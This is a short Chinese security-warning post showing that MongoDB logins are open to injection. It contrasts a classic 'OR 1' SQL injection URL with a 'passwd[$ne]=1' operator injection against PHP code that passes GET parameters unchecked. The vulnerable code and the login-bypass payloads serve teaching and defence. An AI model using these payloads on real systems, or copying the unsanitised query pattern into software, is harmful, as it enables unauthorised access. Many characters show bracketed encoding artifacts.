[] 安全警示,一個(gè)簡(jiǎn)單的MongoDB注入
在關(guān)系型數(shù)據(jù)庫(kù)時(shí)代,SQL注入攻防幾乎成了每一個(gè)Web開發(fā)者的必修課,很多NoSQL的支持者稱NoSQL的同時(shí)也就No SQL注入了。其實(shí)不然,下面就是一個(gè)利用GET參數(shù)判斷不嚴(yán)格進(jìn)行的MongoDB注入,希望能夠引起大家大家在安全方面的重視。
屏幕快照-2011-07-07-上午10.53.47.jpg (37.55 KB, 下載次數(shù): 106)
下載附件
2012-02-23 19:14 上傳
使用SQL數(shù)據(jù)庫(kù)存儲(chǔ)用戶名密碼的系統(tǒng),我們檢測(cè)用戶名與密碼的過(guò)程可能是這樣的:
mysql_query("SELECT * FROM user
WHERE username=" . $_GET['username'] . ",
AND passwd=" . $_GET['passwd'])我們使用MongoDB進(jìn)行最簡(jiǎn)單的用戶名與密碼檢測(cè)可能是這樣的:
$collection->find(array(
"username" => $_GET['username'],
"passwd" => $_GET['passwd']
));在最普通的SQL注入中,我們可以構(gòu)造下面這樣的請(qǐng)求:
login.php?username=admin&passwd=abc OR 1 –
這個(gè)請(qǐng)求會(huì)形成這樣的SQL語(yǔ)句:
SELECT * FROM user WHERE username=admin AND passwd=abc OR 1;成功注入!
采用同理的方法,針對(duì)上面的MongoDB查詢方式,你可以構(gòu)造下面的請(qǐng)求:
login.php?username=admin&passwd[$ne]=1
這個(gè)請(qǐng)求會(huì)形成這樣的MongoDB查詢:
$collection->find(array(
"username" => "admin",
"passwd" => array("$ne" => 1)
));成功注入!
更多NoSQL安全相關(guān)的知識(shí)可以查看NoSQLFan的另一篇文章:《NoSQL安全攻防戰(zhàn)》
相關(guān)鏈接:www.idontplaydarts.com
|